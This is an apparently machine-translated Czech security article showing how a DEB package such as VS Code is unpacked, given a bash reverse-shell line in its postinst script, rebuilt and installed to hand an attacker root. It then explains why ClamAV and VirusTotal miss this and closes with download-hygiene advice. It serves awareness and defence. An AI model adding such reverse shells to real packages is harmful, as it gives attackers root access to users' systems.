Jak jsou balíčky DEB backdoored a jak to zjistit

Klíčové věci

  • Balíčky DEB lze snadno zavřít, což umožňuje útočníkům vložit do vašeho systému škodlivý kód, když je nainstalujete s oprávněními root.
  • Infikované balíčky DEB je obtížné odhalit, protože nemusí být označeny antivirovým softwarem nebo cloudovými řešeními, jako je VirusTotal.
  • Abyste se ochránili, vyhněte se stahování DEB balíčků z náhodných stránek, držte se oficiálních stahovacích stránek nebo komunitně důvěryhodných stránek a zvažte instalaci bezpečnostních nástrojů k zabezpečení vašeho linuxového systému proti síťovým útokům.

Soubory DEB jsou softwarové balíčky, které jsou primárním formátem dodávaného softwaru v distribucích Linuxu založených na Debianu.

Chcete-li nainstalovat balíčky DEB, musíte použít správce balíčků, jako je dpkg, s oprávněními root. Útočníci toho využívají a vkládají do těchto balíčků zadní vrátka. Když je nainstalujete pomocí dpkg nebo jiného správce balíčků, škodlivý kód se také spustí a ohrozí váš systém.

Pojďme prozkoumat, jak přesně jsou balíčky DEB backdoored a co můžete udělat, abyste se ochránili.

Jak jsou balíčky DEB backdoored?

Než pochopíte, jak jsou balíčky DEB backdoored, pojďme prozkoumat, co je uvnitř balíčku DEB. Pro ukázku si stáhnu balíček Microsoft Visual Studio Code DEB z oficiálních stránek Microsoftu. Jedná se o stejný balíček, který byste si stáhli, pokud chcete nainstalovat VS Code na Linux.

  Jak upravit záhlaví a zápatí v PowerPointu

Stažení: Kód Visual Studio

Nyní, když máte stažený cílový balíček, je čas jej rozbalit. Balíček DEB můžete rozbalit pomocí příkazu dpkg-deb s parametrem -R následovaným cestou k uložení obsahu:

 dpkg-deb -R <package_name> <path> 

To by mělo extrahovat obsah balíčku VS Code.

Přesunutím do složky najdete více adresářů, ale náš zájem spočívá pouze v adresáři DEBIAN. Tento adresář obsahuje skripty správce, které se spouštějí během instalace s právy root. Jak jste již možná zjistili, útočníci upravují skripty v tomto adresáři.

Pro demonstraci upravím postinst skript a přidám jednoduchý jednořádkový Bash reverzní TCP shell. Jak název napovídá, je to skript, který se spustí po instalaci balíčku do systému.

Obsahuje příkazy, které dokončují konfigurace, jako je nastavení symbolických odkazů, zpracování závislostí a další. Na internetu najdete tuny různých reverzních skořápek. Většina z nich bude fungovat stejně. Zde je ukázka reverzní skořepiny s jednou vložkou:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Vysvětlení příkazu:

  • bash: Toto je příkaz, který vyvolá shell Bash.
  • -i: Příznak říká Bash, aby běžel v interaktivním režimu umožňujícím I/O příkazů v reálném čase.
  • >& /dev/tcp/ip/port: Toto přesměruje standardní výstup a standardní chybu do síťového soketu, v podstatě naváže TCP spojení do a .
  • 0>&1: Toto přesměruje vstup a výstup na stejné místo, tj. do síťové zásuvky.

Pro nezasvěcené je reverzní shell typ kódu, který po spuštění na cílovém počítači zahájí připojení zpět k počítači útočníka. Reverzní shelly jsou skvělým způsobem, jak obejít omezení firewallu, protože provoz je generován ze stroje za firewallem.

Takto upravený skript vypadá:

Jak můžete vidět, vše je stejné, ale byl přidán pouze jeden řádek, tj. náš reverzní shell Bash. Nyní musíte soubory sestavit zpět do formátu „.deb“. Jednoduše použijte příkaz dpkg s parametrem –build nebo použijte dpkg-deb s parametrem -b následovaným cestou extrahovaného obsahu:

 dpkg --build <directory>
dpkg-deb -b <directory>

Nyní je balíček DEB s backdoorem připraven k odeslání na škodlivé stránky. Pojďme simulovat scénář, kdy si oběť stáhla balíček DEB do svého systému a instaluje jej jako jakýkoli jiný běžný balíček.

Horní panel terminálu je pro POV oběti a spodní je POV útočníka. Oběť instaluje balíček pomocí sudo dpkg -i a útočník trpělivě naslouchá příchozím spojením pomocí příkazu netcat v Linuxu.

Jakmile instalace skončí, všimněte si, že útočník získá zpětné připojení shellu a nyní má root přístup k systému oběti. Nyní víte, jak jsou balíčky DEB backdoored. Pojďme se nyní naučit, jak se můžete chránit.

Jak zjistit, zda je balíček DEB škodlivý

Nyní, když víte, že infikované DEB balíčky jsou věc, musíte se divit, jak najít infikované. Pro začátek můžete zkusit použít antivirový software pro Linux, jako je ClamAV. Bohužel, když byl balíček spuštěn ClamAV scan, neoznačil jej jako škodlivý. Zde je výsledek skenování:

Pokud tedy nemáte zavedené prémiové antivirové řešení (což není zárukou, že nebudete napadeni), je poměrně těžké odhalit škodlivé DEB balíčky. Zkusme použít cloudové řešení, jako je web VirusTotal:

Jak vidíte, VirusTotal na něm nezjistil nic špatného. Jediným způsobem, jak se chránit proti takovým hrozbám, je dodržovat základní bezpečnostní hygienu, jako je nestahování souborů z neznámých zdrojů, vždy kontrola hash souboru a obecně vyhýbat se instalaci stinného softwaru.

Internet je plný takových hrozeb. Jediný způsob, jak surfovat bez ztráty dat, je mít rozum a procházet důvěryhodné stránky. V případě Linuxu byste se navíc měli pokusit zjistit, zda software, který stahujete, má variantu AppImage, protože jsou samostatné a lze je umístit do karantény, a tudíž je udržovat mimo kontakt s vaším systémem.

Nestahujte DEB balíčky z náhodných stránek!

Balíčky DEB nejsou ve své podstatě špatné, ale útočníci je mohou snadno vyzbrojit a poslat nic netušícím uživatelům. Jak bylo ukázáno, balíček DEB lze snadno otevřít a upravit pro přidání vlastního kódu pouze pomocí několika příkazů, což z něj činí běžný vektor pro zasílání malwaru.

Špičková antivirová řešení nezachytí ani jednoduchá zadní vrátka na balíčcích DEB. Nejlepší je tedy hrát na jistotu, při procházení webu se řídit zdravým rozumem a vždy stahovat software pouze z oficiálních stahovacích stránek nebo webů důvěryhodných komunitou.

Nyní, když jste si vědomi bezpečnostních rizik, která s sebou přináší instalace DEB balíčků z nových nebo neznámých stránek, měli byste být při instalaci nového softwaru opatrní. Pouhý pozor na to, co instalujete, však nestačí. Váš systém Linux může být také cílem síťových útoků.

Abyste měli jistotu, že jste v bezpečí v případě síťového útoku, měli byste zvážit instalaci nástrojů pro zabezpečení sítě.